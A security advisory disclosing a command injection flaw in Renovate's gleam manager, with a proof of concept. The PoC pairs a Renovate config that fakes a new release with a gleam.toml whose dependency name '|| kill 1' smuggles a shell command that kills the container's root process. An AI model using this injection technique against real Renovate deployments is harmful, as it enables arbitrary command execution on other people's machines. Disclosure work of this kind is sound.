Summary

The user-provided string depName in the gleam manager is appended to the gleam deps update command without proper sanitization.

Details

Adversaries can provide a maliciously crafted gleam.toml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the packagesToUpdate variable in lib/modules/manager/gleam/artifacts.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 39.53.0 (renovatebot/renovate@d29698e), released on December 6 of 2024.

PoC

1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: ["gleam"],
      // Trick the manager in believing there's a new version
      overrideDatasource: "custom.always",
    },
  ],
}

gleam.toml:

name = "renovate-aci-2"
version = "0.0.1"

[dependencies]
"|| kill 1" = "0.1.0"

manifest.toml:

non-empty file

2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

References

• GHSA-xjr7-3c3g-m763